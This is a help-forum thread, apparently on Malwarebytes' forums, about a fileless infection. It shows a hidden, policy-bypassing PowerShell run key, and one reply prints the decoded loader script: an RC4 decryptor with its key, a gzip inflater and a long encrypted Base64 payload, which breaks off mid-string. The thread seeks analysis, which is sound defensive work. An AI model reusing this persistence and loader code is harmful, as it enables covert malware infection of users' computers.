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Hey, new user on the malwarebytes forums here.

Ok, so I scanned my computer with malwarebytes, and it detected "PUP.Optional.PowerShellSP"

And that's ok, I mean it's just one threat right? But I started checking the actual registry key, and this MF is actually running powershell, which runs (binary?) code stored in my registry.

Does anyone want to check what the code was doing?

Here's the registry entry that malwarebytes detected:

"{F119BFAB-D0C9-4E62-9DCF-7923777499B1}"="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\\Software\\Classes\\HCOVLIORJR').CEHMMUJMQRDF)));"

 

I kinda wanted to post this in the "new malware" category, since the registry entry that it executes wasn't detected by malwarebytes, but it did detect the part where it runs.

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Like you said, PowerShell was getting the code it needed to run from your Registry. Though we would need to dump the content of the key below to know what it was doing exactly.

HKCU\Software\Classes\HCOVLIORJR

 

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Here we go, got the registry folder for 

HKCU\Software\Classes\HCOVLIORJR

I checked what programs got started when I run powershell with those arguments manually, and it starts SVCHost each time.

Hope someone will be able to find out what this actually is/does.

I think this might be residue from a virus that I got from a Thai colleague. It got transmitted through memory sick by putting all filles within a hidden folder and making an "infected" shortcut to the folder. But I'm not sure if it's from that time or if it's something else entirely.

reg.zip

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Powershell runs the following script. 

It has encoded strings that are interpreted and mathematically manipulated into what I presume to be an executable binary...

 

$JHXGABBCRMYRRQVYKE = 'HCOVLIORJR';
$QIJNRSRJRBEDLBPYWFTI = '{B43CCA85-3B24-4CA1-844C-62E0E889AF96}';
$hCoeIvgItn = '{CBE4CF7D-E194-4D6A-9194-51FC13A3779A}';
Function weeKxfqhRQi{
    Param([Parameter( Position = 0, Mandatory = $true )][Byte[]]$PQOENTHOYDLVBP,[Parameter(Position = 1, Mandatory = $true)][Byte[]]$VIUakKhFDpgKIq)
    [Byte[]]$k = New-Object Byte[] 256;
    [Byte[]]$s = New-Object Byte[] 256;
    for ($i = 0; $i -lt 256; $i++){
        $s[$i] = [Byte]$i;
        $k[$i] = $VIUakKhFDpgKIq[$i % $VIUakKhFDpgKIq.Length];
    }
    $p = 0;
    for ($i = 0; $i -lt 256; $i++){
        $p = ($p + $s[$i] + $k[$i]) % 256;
        $s[$i],$s[$p] = $s[$p],$s[$i];
    }
    $i = 0;$p = 0;
    for ($c = 0; $c -lt $PQOENTHOYDLVBP.Length; $c++){
        $i = ($i + 1) % 256;
        $p = ($p + $s[$i]) % 256;
        $s[$i],$s[$p] = $s[$p],$s[$i];
        [int]$m = ($s[$i] + $s[$p]) % 256;
        $PQOENTHOYDLVBP[$c] = $PQOENTHOYDLVBP[$c] -bxor $s[$m];
    }
    return $PQOENTHOYDLVBP;
}
Function inflatebin{
    Param([Parameter( Position = 0, Mandatory = $true )]$PQOENTHOYDLVBP)
    $memstream = New-Object System.IO.MemoryStream;
    $memstream.Write($PQOENTHOYDLVBP, 0, $PQOENTHOYDLVBP.Length);
    $memstream.Seek(0,0) | Out-Null;
    $gzstream = New-Object System.IO.Compression.GZipStream($memstream,[IO.Compression.CompressionMode]::Decompress);
    $reader = New-Object System.IO.StreamReader($gzstream);
    $PQOENTHOYDLVBP = $reader.ReadToEnd();
    $reader.close();
    return $PQOENTHOYDLVBP;
}
$pelHrHuqoTKBoKhq = [System.Text.Encoding]::ASCII.GetBytes('RRE5WNZHSYJC4JTJILBY');
$GWZNUIECUEHLSMGRMU = [System.Convert]::FromBase64String('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